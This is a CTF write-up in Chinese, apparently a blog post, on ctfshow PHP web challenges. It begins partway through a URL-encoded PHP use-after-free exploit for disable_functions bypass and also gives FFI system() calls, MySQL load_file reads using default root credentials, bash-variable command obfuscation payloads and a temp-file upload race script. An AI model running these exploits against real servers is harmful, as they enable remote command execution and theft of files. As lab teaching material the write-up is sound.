a%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%31%30%2c%20%24%61%62%63%5f%61%64%64%72%20%2b%20%30%78%36%30%29%3b%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%31%38%2c%20%30%78%61%29%3b%0a%0a%20%20%20%20%24%63%6c%6f%73%75%72%65%5f%6f%62%6a%20%3d%20%73%74%72%32%70%74%72%28%24%61%62%63%2c%20%30%78%32%30%29%3b%0a%0a%20%20%20%20%24%62%69%6e%61%72%79%5f%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%63%6c%6f%73%75%72%65%5f%68%61%6e%64%6c%65%72%73%2c%20%38%29%3b%0a%20%20%20%20%69%66%28%21%28%24%62%61%73%65%20%3d%20%67%65%74%5f%62%69%6e%61%72%79%5f%62%61%73%65%28%24%62%69%6e%61%72%79%5f%6c%65%61%6b%29%29%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%64%65%74%65%72%6d%69%6e%65%20%62%69%6e%61%72%79%20%62%61%73%65%20%61%64%64%72%65%73%73%22%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%69%66%28%21%28%24%65%6c%66%20%3d%20%70%61%72%73%65%5f%65%6c%66%28%24%62%61%73%65%29%29%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%70%61%72%73%65%20%45%4c%46%20%68%65%61%64%65%72%22%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%69%66%28%21%28%24%62%61%73%69%63%5f%66%75%6e%63%73%20%3d%20%67%65%74%5f%62%61%73%69%63%5f%66%75%6e%63%73%28%24%62%61%73%65%2c%20%24%65%6c%66%29%29%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%67%65%74%20%62%61%73%69%63%5f%66%75%6e%63%74%69%6f%6e%73%20%61%64%64%72%65%73%73%22%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%69%66%28%21%28%24%7a%69%66%5f%73%79%73%74%65%6d%20%3d%20%67%65%74%5f%73%79%73%74%65%6d%28%24%62%61%73%69%63%5f%66%75%6e%63%73%29%29%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%67%65%74%20%7a%69%66%5f%73%79%73%74%65%6d%20%61%64%64%72%65%73%73%22%29%3b%0a%20%20%20%20%7d%0a%0a%0a%20%20%20%20%24%66%61%6b%65%5f%6f%62%6a%5f%6f%66%66%73%65%74%20%3d%20%30%78%64%30%3b%0a%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%30%78%31%31%30%3b%20%24%69%20%2b%3d%20%38%29%20%7b%0a%20%20%20%20%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%24%66%61%6b%65%5f%6f%62%6a%5f%6f%66%66%73%65%74%20%2b%20%24%69%2c%20%6c%65%61%6b%28%24%63%6c%6f%73%75%72%65%5f%6f%62%6a%2c%20%24%69%29%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%32%30%2c%20%24%61%62%63%5f%61%64%64%72%20%2b%20%24%66%61%6b%65%5f%6f%62%6a%5f%6f%66%66%73%65%74%29%3b%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%64%30%20%2b%20%30%78%33%38%2c%20%31%2c%20%34%29%3b%20%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%64%30%20%2b%20%30%78%36%38%2c%20%24%7a%69%66%5f%73%79%73%74%65%6d%29%3b%20%0a%0a%20%20%20%20%28%24%68%65%6c%70%65%72%2d%3e%62%29%28%24%63%6d%64%29%3b%0a%20%20%20%20%65%78%69%74%28%29%3b%0a%7d%0a%0a%63%74%66%73%68%6f%77%28%22%63%61%74%20%2f%66%6c%61%67%30%2e%74%78%74%22%29%3b%6f%62%5f%65%6e%64%5f%66%6c%75%73%68%28%29%3b%0a%3f%3e

web73

这里比较简单,scandir啥的都没有禁用

访问文件,获得flag

web74

这里scandir被禁用

使用glob伪协议

复制代码
c=var_export(glob('../../..'.'/*'));exit();

获取flag

web75

这里的scandir依然被禁用,使用glob

复制代码
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(); ?>

#DirectoryIterator是迭代器类,用于遍历目录内容;只要glob能解析出有效目录,就会迭代输出所有可访问的文件和目录;即使部分文件无权限,也会跳过而不会只返回false。

这里又被限制访问文件路径

使用上面的uaf方法,发现strlen被禁用了。

那我们想到说是否可以使用其他函数来替代strlen?例如我以下使用mb_strlen替代。

复制代码
?><?php
function ctfshow($cmd) {
    ...

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = mb_strlen($helper->a, 'ASCII');
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

   ...
    $helper->b = function ($x) { };

    if(mb_strlen($abc, 'ASCII') == 79 || mb_strlen($abc, 'ASCII') == 0) {
        die("UAF failed");
    }

    ...
}

ctfshow("cat /flag36.txt");ob_end_flush();
?>

但也会出现各种情况,比如出现这个报错,是指php内存崩溃,可能的原因有偏移量问题或者不适配问题等等。。但现在还没有能力去判断是因为什么原因。

那这条路行不通。

新的思路:利用mysql读取文件

为什么可以利用连接数据库来读取文件呢?

MySQL通常是以root权限运行,php一般以www-data低权限用户运行,被限制访问根目录;但MySQL用root连接,不受限制。

且secure_file_priv值为空,有读取文件权限。

复制代码
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);
  • $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');创建PDO对象,连接数据库。PDO是PHP 数据对象,是 PHP 中统一的数据库操作接口,支持 MySQL、PostgreSQL 等多种数据库,比传统 mysqli 更灵活、安全(默认支持预处理,可防 SQL 注入)。
    • 这里的数据库名称是ctftraining,怎么获得的?看其他笔者说ctfshow官方视频讲解有好几次都说过数据库名称是这个;另外也可以回到最初什么都没有限制的web58,去上传webshell,蚁剑连接,可以得到这个数据库名称。
    • 这里的账号密码是root/root,是默认账号密码
  • foreach(dbh-\>query('select load_file("/flag36.txt")') as row) {echo(row\[0\])."\|"; }数据库获取文件函数load_file,会返回字符串。dbh->query是PDO实例方法,用于执行无参数sql语句,返回结果的集合,可遍历。这里就echo第一行。
  • catch是异常处理

这里会不会想到回去试试web72是否可以使用数据库访问的方法?是可以的。这个方法的难点就是获取数据库的名称、账号密码。

web76

这里也一样

首先使用glob获得文件目录

再使用数据库读取

web77

同样,使用glob查看目录

使用mysql数据库连接,显示could not find driver

这个报错是指php缺少PDO对应的mysql的驱动(或者扩展未启动),所以这里使用PDO连接mysql这条路行不通。strlen和include等同样被禁用。

使用新的思路:这里注意到文件目录还有readflag,很直白的命名,读取flag。可以猜测要使用这个readflag可执行程序去获得flag。(linux系统的可执行程序是没有后缀的)

但是这里所有的php命令执行函数都被禁用,数据库也被禁用,UAF也用不了。可以想到使用FFI进行绕过。

FFI是什么?

  • FFI(外部函数接口)是PHP7.4+新增的扩展,允许PHP直接调用C语言编写的函数库,不用通过PHP自带的函数。
  • C语言是操作系统的母语,通过FFI调用C函数,相当于PHP获得了系统权限。
  • 能够利用的条件(CTF如果开放FFI,通常会提前配置好):ffi.enable = On(PHP 7.4+ 默认是 preload,仅预加载脚本可用;必须设为 On 才能在普通脚本中使用);

payload如下:

复制代码
// 1. 声明 C 语言的 system 函数(告诉 PHP 如何调用这个 C 函数)
$ffi = FFI::cdef("int system(const char *command);");
// 2. 构造命令:执行 /readflag,将输出写入 1.txt
$a = '/readflag > 1.txt';
// 3. 调用 C 语言的 system 函数执行命令
$ffi->system($a);

访问1.txt

web118

这里提示flag在flag.php里面

题目只有一个输入框,随便输入点东西看看

发现都会出现evil input(恶意输入),那这里应该进行了字符过滤,暂时还不知道过滤了什么字符

查看源代码,发现传入的是code参数,并system执行

那使用BurpSuite进行fuzz匹配没有过滤的字符,使用ASCII0-128(0-7F)、0-255(0-ff)

注意这里用到的是0-7F的hex,所以前面要加%才能够解析出来

最后得到这几个符号没有被过滤

可以看到这里有关键字符:空格(20)、#(23)、$(24)、点号(25)、冒号(3a)、分号(3b)、@(40)、大写字母(41-5a)、~(7e)、?(3f)、{}、_(5f)没有被禁用。

只有这几个符号,前面的方法都难以实现。这里关键$和大写字母没有被过滤,可以进一步想到Linux的环境变量类似的就是这样组成。

使用新的思路:利用Linux的内置变量截取字符来进行绕过。

Linux系统的环境变量用于配置系统行为和存储系统信息。

  • $BASH,指向当前使用的Bash解释器的路径。例如/bin/bash
  • $PATH,环境变量,用于告诉系统可执行程序的查找路径,用户只需输入命令即可执行,不用再次输入路径。
  • $HOME,返回当前用户的主目录路径,比如/root
  • $PWD,返回当前的工作目录路径,比如/var/www/html
  • $USER,返回当前用户的名称,比如kali
  • $SHELL,返回当前用户登录使用的默认shell,比如/bin/bash
  • $UID,返回当前用户的唯一ID,例如1000(普通用户)、0(root用户)
  • $IFS,前面使用过的,内部字段分隔符,用于分割输入的字段,默认空格、制表符和换行符。

还要稍微了解一下bash的切片,跟python类似。${变量:开始切片:切片长度}。

例如{PWD:1:2}从第二个字符开始切,切两个长度

如果没有切片长度,会默认提取到末尾

这里还需要用到~的反向作用,参数前面有~,表示末尾往前取参数+1(也就是末尾第几个开始取)

在这里数字被过滤了,替换大写字母,发现大写字母的效果和0一样

好的了解完系统内部变量截取字符的机制之后就可以去构造自己想要截取的东西。

这里已知的PWD为/var/www/html,PATH末尾是/bin

刚好,这两个末尾两个字母可以组合成nl,用来读取flag.php,并且这里的?通配符可以使用。

复制代码
${PATH:~A}${PWD:~A} ????.???
#${PATH:~A}${PWD:~A}相当于nl

得到flag

另外,如果必须需要其他数字来匹配,可以利用${#var}的语法进行获取

例如{HOME}为/root,那么{#HOME}就为5(#号表示获取字段长度)

web119

这里跟web118一样,不过使用web118的payload时发现被过滤

那分别测试一下是哪一个字段被过滤了(因为符号还是这几个没有被过滤的)。发现是PATH被过滤了,PWD没有被过滤

知道的已知信息,PWD为/var/www/html,利用#来构造payload如下

复制代码
${PWD:${#}:${##}}???${PWD:${#}:${##}}?${PWD:${SHLVL}:${#SHLVL}}${PWD:~${SHLVL}:${#SHLVL}}$IFS?${PWD:~A}??.???

#${PWD:${#}:${##}} = {${PWD}:0:1} = /

#${PWD:${SHLVL}:${#SHLVL}} = ${PWD:2:1} = a

#${PWD:~${SHLVL}:${#SHLVL}} = ${PWD:-2:1} = t

#${PWD:~A} = 取最后一位 = l

#构造的是/???/?at ?l??.???,对应的是/bin/cat flag.php

还有一个构造/bin/base64去读取flag.php的

复制代码
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

${PWD::${#SHLVL}} = {${PWD}:0:1} = /

${#RANDOM} = 1~5

#匹配的是/???/?????4 ????.???,对应的是/bin/base64 flag.php

#这里的RANDOM是随机数,要多尝试几次才能匹配到4
  • SHLVL,记录当前shell的"嵌套层数",直接打开终端是第一层shell,SHLVL=1;若在当前shell再执行bash打开新一层shell,那么$SHLVL=2。PHP执行命令默认是1
  • $RANDOM,bash内置的随机数变量,每次引用都会随机生成一个随机整数,但无论怎么随机,生成的数字长度值永远都是1~5位

另外要提一点的,这里也可以使用文件上传来获取flag,回到web56,也是利用文件上传结合特殊字符匹配得到PHP的临时文件,那这里的Linux内置变量也同样能够匹配得到这个临时文件,原理是一样的。这里的$HOME值为/home/www-data是已知的

复制代码
import requests
from time import sleep

url = "http://2b1e98e9-6d0b-45f5-8502-5ab06cdaea9b.challenge.ctf.show/" 
# . /tmp/php?????A ==> . /???/?h??????A,可以不是A,其他字母也可以
payload = ". ${HOME:${#}:${#SHLVL}}???${HOME:${#}:${#SHLVL}}?${HOME:${#SHLVL}:${#SHLVL}}??????A"
file = { "file": "tac flag.php" }
data = { "code": payload }

for i in range(1000):
    response = requests.request("POST", url, files=file, data=data)
    if (len(response.text)) != 479:
        print(response.text)
        print(len(response.text))
        break
    print(i, end=" ")
    sleep(0.3)

这个代码很简单,应该看得懂。因为临时文件名是随机生成的,所以需要重复去请求,直到达到匹配。

web120

直接给了源码,过滤了PATH、BASH、HOME。那上面的几个payload都可以使用

这里还限制了长度,可以使用base64

web121

加了很多禁用的,禁用了SHLVL,但没有禁用RANDOM,那还是可以用base64进行求解的

复制代码
#修改前${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
#${#SHLVL}=${##}=1
${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???

获得flag

另外,想想这里用到的只有PATH,值为/var/www/html。还有制表符${IFS}能使用,一般值为3也有可能为4。这里应该是3

那么除了base64利用之外,还能获取到第四个字符r,在web54有详细介绍过文件处理的一些命令,刚好可以对应rev命令。

复制代码
#构造/???/r?? ????.???
${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???

rev输出字符是会反转的,可以手动反转一下,也可以直接使用python的[::-1]反转一下。

web122

这里又多禁用了一些符号,例如关键的#,就不能利用#生成数字,截取字母了。

根据wp,看到这里利用的是?代替{##}来分割。

原理:

  • $?是shell内置变量,用于存储上一条命令的执行结果状态码。
    • 命令执行成功,值为0
    • 命令执行失败,值为非0的数,不过特定情况值一定
      • <重定向错误,值为1
      • 每个系统命令执行错误,都有各自的值。比如ls,值为2;cat,值为1
      • 命令存在但无权限执行,值为126
      • 命令未找到,值为127
  • 这里构造的是<A;,使其值为1。

构造payload

复制代码
#构造/bin/base64 flag.php => /???/????6? ????.???
<A;${HOME::$?}???${HOME::$?}????${RANDOM::$?}? ????.???

web124

根据源码,这里禁用了一些字符。以及可以看到设置了一堆函数白名单。

什么叫白名单,就是只允许你使用这些函数,其他函数不允许。这里允许的函数是一一堆数学函数,其中藏着几个比较特殊的函数(不是单纯的数学函数)

  • base64_convert,这个函数老常客,作用是转换各个进制,例如base64_convert(100,10,16)将值为100的十进制转换为16进制
  • hexdec,十六进制转换为十进制
  • dechex,十进制转换为十六进制

另外

复制代码
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); 

这个正则,表示函数名和变量名要求,以小写大写字母或下划线_或127-255的字符开开头,后续可以是字母或数字或下划线或127-255字符,不允许其他情况,比如以数字开头123abc或者出现其他字符@

很明显,我们需要理由这些函数,来构造想要的命令执行。

那可以直接使用这些函数编码system(cat 'flag.txt')这样的函数吗?不可以。

为什么?因为这里限制了80的长度,base_convert三次以上基本上都会超出这个值,而直接编码肯定会超出这个值。

那么这里就只能编码两次差不多,先看payload

复制代码
/?c=$cos=base_convert(37907361743,10,36)(dechex(1598506324));$$cos{1}($$cos{2})&1=system&2=cat+flag.php

base_convert(37907361743,10,36) → 生成 get_defined_vars get_defined_vars() 是 PHP 自带函数,作用:返回当前所有已定义的变量(比如 $_GET$cos 这些

dechex(1598506324) → 生成 _GLOBALS

$GLOBALS 是 PHP 超全局变量,包含所有全局变量(比如你通过 &1=system 传的参数,都会在里面)。

  • $cos 是我们定义的变量,后面会赋值为 $GLOBALS
  • $$cos 就是 $GLOBALS(因为 $cos 的值是 GLOBALS);
  • 题目禁用了方括号 [],所以用花括号 {} 访问数组元素:$$cos{1} 等价于 $GLOBALS['1']
  • &1=system 会让 $GLOBALS['1'] = 'system'1 是变量名,system 是变量值)。
  • base_convert(37907361743,10,36),解码为get_defined_vars。这是一个可以返回当前所有已定义的变量(比如_GET和下面的cos)
  • dechex(1598506324),解码为_GLOBALS,$GLOBLAS是PHP的超全局变量,包含所有全局变量(例如后面传入的&1)
  • cos定义的变量,被赋值为GLOBALS
  • &1=system,就是传入的GLOBALS\['1'\] = 'system',而cos{1}就等价于GLOBALS['1']。

那么最终c就等于system(cat flag.txt)

  • 这里的空格可以用加号+来代替
  • 这里的[]中括号被过滤可以用{}大括号来代替

前端返回_GET表示已经执行成功

总结

  • 碰到缓冲区释放问题,可以使用exit或die提前终止程序
  • 被限制了访问路径可以使用伪协议glob绕过
  • UAF漏洞和mysql读取文件漏洞
  • 当PHP函数都被禁用,开放FFI时,可以使用FFI调用C函数,执行系统命令
  • $符号和大写字母可以构造Linux变量,来获取数字或截取出特定字母来构造payload。不确定有哪些字符被过滤可以使用BurpSuite爆破得出。
  • {#..}可以得到数字,当#被禁用,可以使用?代替,当前命令正确执行执为0,报错执行分情况有不同数字,例如<重定向错误,值为1。
  • $GLOBALS参数的利用。
相关推荐
暴风游侠11 小时前
如何进行科学的分类
笔记·算法·分类
式51611 小时前
大模型学习基础(八)提示词(Prompt)工程
学习·prompt
墨痕诉清风11 小时前
文件上传漏洞(PDF文件)
安全·web安全·pdf
航Hang*11 小时前
第3章:复习篇——第3节:数据查询与统计---题库
数据库·笔记·sql·学习·mysql·期末·复习
咚咚王者12 小时前
人工智能之核心基础 机器学习 第十四章 半监督与自监督学习总结归纳
人工智能·学习·机器学习
Aloudata12 小时前
企业落地 AI 数据分析,如何做好敏感数据安全防护?
人工智能·安全·数据挖掘·数据分析·chatbi·智能问数·dataagent
知识分享小能手12 小时前
Oracle 19c入门学习教程,从入门到精通,Oracle管理工具 —— 知识点详解(3)
数据库·学习·oracle
张祥64228890412 小时前
线性代数本质笔记七
笔记·线性代数
科技林总12 小时前
【系统分析师】4.1 计算机网络基础
学习
天天睡大觉12 小时前
Python学习9
开发语言·python·学习